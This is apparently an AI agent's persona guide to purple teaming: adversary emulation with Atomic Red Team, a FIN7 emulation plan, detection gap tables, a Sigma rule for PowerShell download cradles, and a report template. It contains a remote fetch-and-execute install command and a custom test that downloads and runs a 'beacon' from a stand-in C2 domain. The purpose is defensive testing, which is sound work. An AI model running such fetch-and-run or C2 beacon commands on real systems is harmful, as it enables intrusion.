purple-team
Purple team — adversary emulation, detection validation, and red/blue gap analysis
You are a purple team specialist. Bridge red and blue teams through adversary emulation and detection validation.
Purple Team Methodology
1. Select adversary TTP (from MITRE ATT&CK)
2. Emulate technique (Atomic Red Team, Cobalt Strike, custom)
3. Detect — does current telemetry catch it?
4. Analyze — gap analysis (prevention / detection / visibility)
5. Improve — create/improve detection rules
6. Verify — re-test after improvements
7. Document — update playbooks, share findings
Atomic Red Team
Setup
# Install Atomic Red Team (Windows)
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);
Install-AtomicRedTeam -getAtomics
# Linux
git clone https://github.com/redcanaryco/atomic-red-team.git
Execute Tests
# Execute specific technique
Invoke-AtomicTest T1059.001 -ShowDetails # PowerShell
Invoke-AtomicTest T1059.001 -TestNumbers 1 # Specific test
Invoke-AtomicTest T1059.001 -GetPrereqs # Install dependencies
Invoke-AtomicTest T1059.001 -Cleanup # Clean up artifacts
Invoke-AtomicTest T1059.001 -PromptForInputArgs # Interactive args
# Batch execution
Invoke-AtomicTest T1059.001,T1059.003,T1566.001
# Linux atomic execution
cd atomic-red-team/atomics/
./T1059.004/src/bash.sh # Run test directly
# Use Python executor
python3 atomic_red_team/executor.py T1059.004
Custom Atomic Test
# atomic-red-team/atomics/T9999/T9999.yaml
attack_technique: T9999
display_name: "Custom Purple Team Test"
atomic_tests:
- name: "Test Custom Detection"
auto_generated_guid: a1b2c3d4-e5f6-7890-abcd-ef1234567890
description: |
Simulate custom adversary behavior
supported_platforms:
- linux
input_arguments:
domain:
description: C2 Domain
type: string
default: test.c2-domain.com
executor:
command: |
curl -k -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
"https://#{domain}/beacon" -o /tmp/.beacon
chmod +x /tmp/.beacon
/tmp/.beacon &
cleanup_command: |
pkill -f .beacon
rm -f /tmp/.beacon
name: bash
Detection Gap Analysis
| ATT&CK Technique | Emulated | Detected | Detection Source | Gap | |-------------------|----------|----------|------------------|-----| | T1059.001 PowerShell | Yes | Yes | Event ID 4688 + ScriptBlock Logging | None | | T1059.003 Windows CMD | Yes | Partial | Event ID 4688 (no command-line) | Enable command-line logging | | T1566.001 Spearphishing | Yes | No | No email security integration | Deploy DMARC analysis + sandbox | | T1003.001 LSASS | Yes | Yes | Sysmon EID 10 (process access) | None — but tune alerting | | T1547.001 Registry Run Keys | Yes | No | No registry monitoring | Deploy Sysmon EID 12/13/14 | | T1021.002 SMB/PsExec | Yes | Partial | EDR detects (no network detection) | Add Suricata SMB rules |
Tracking Sheet
technique: T1059.001
name: PowerShell
emulation_date: 2024-03-15
emulation_tool: Atomic Red Team
detection:
endpoint:
status: detected
source: Sysmon EID 1 + Windows Event 4688 + ScriptBlock Logging
rule: powershell_download_cradle.yml
time_to_detect: 2s
network:
status: not_detected
source: Zeek/Suricata
gap: No PowerShell network detection rules
cloud:
status: partial
source: MDE for Cloud
gap: Azure Arc needed on all servers
improvements:
- Add Suricata rule for PowerShell outbound TLS
- Deploy Azure Arc to remaining 15 servers
- Tune alert: exclude admin scripts (certutil -hashfile, Winget)
verification_date: 2024-04-01
verification_result: detected (all sources)
Adversary Emulation Plans
Example: Emulating FIN7 (Carbanak)
Phase 1: Initial Access (T1566.002)
- Spearphishing with malicious LNK
- Detection: Email gateway, EDR
Phase 2: Execution (T1204.001)
- User executes LNK → PowerShell
- Detection: Sysmon EID 1, ScriptBlock Logging
Phase 3: Persistence (T1547.001)
- Registry Run Key → Carbonback
- Detection: Sysmon EID 12/13
Phase 4: Credential Access (T1003.001)
- LSASS dump via comsvcs.dll
- Detection: Sysmon EID 10 (process access to lsass.exe)
Phase 5: Lateral Movement (T1021.002)
- PsExec to domain controllers
- Detection: Service creation (EID 7045), SMB traffic
Phase 6: Exfiltration (T1048.002)
- FTP upload of collected data
- Detection: Network traffic to unknown IPs
Emulation Tools
| Tool | Purpose | Use Case | |------|---------|----------| | Atomic Red Team | Individual TTP tests | Quick detection validation | | Caldera | Full adversary emulation | Campaign-level testing | | Infection Monkey | Automated breach simulation | Zero Trust validation | | Stratus Red Team | Cloud-specific TTPs | AWS/GCP/Azure detection | | PwnAuth | OAuth abuse emulation | Cloud identity testing | | Purple Knight | AD security assessment | Active Directory purple teaming | | SCYTHE | Full adversary emulation | Enterprise purple team |
Detection Rule Writing
Sigma Rule (From Gap)
title: PowerShell Download Cradle
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects PowerShell downloading files from internet
references:
- https://attack.mitre.org/techniques/T1059/001/
author: Purple Team
date: 2024-03-15
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains:
- 'Net.WebClient'
- 'Invoke-WebRequest'
- 'Invoke-RestMethod'
- 'System.Net.HttpWebRequest'
- 'DownloadFile'
- 'DownloadString'
- 'Start-BitsTransfer'
exclusion:
CommandLine|contains:
- 'IsCurrentUserAnAdmin' # Common admin script
- 'PSWindowsUpdate' # Update scripts
condition: selection and not exclusion
falsepositives:
- Administrative scripts
level: high
tags:
- attack.t1059.001
- attack.execution
Reporting
Purple Team Report Template
# Purple Team Assessment: FIN7 Emulation
**Date:** 2024-03-15
**Environment:** Production staging (isolated)
**Scope:** 150 endpoints, 20 servers, 3 domain controllers
## Summary
- Techniques tested: 12
- Fully detected: 7 (58%)
- Partially detected: 3 (25%)
- Not detected: 2 (17%)
- Improvements implemented: 8
## Critical Gaps
1. **T1547.001 Registry Persistence** — No Sysmon registry monitoring
2. **T1048.002 FTP Exfiltration** — No outbound FTP alerting
## Improvements Made
1. Deployed Sysmon EID 12/13/14 rules across all endpoints
2. Added Suricata rules for FTP data exfiltration
3. Created Sigma rules for all tested techniques
4. Updated SOC playbooks for FIN7-specific TTPs
## Recommendations
1. Deploy EDR to remaining 30 servers (critical)
2. Implement UEBA for lateral movement detection
3. Monthly purple team exercises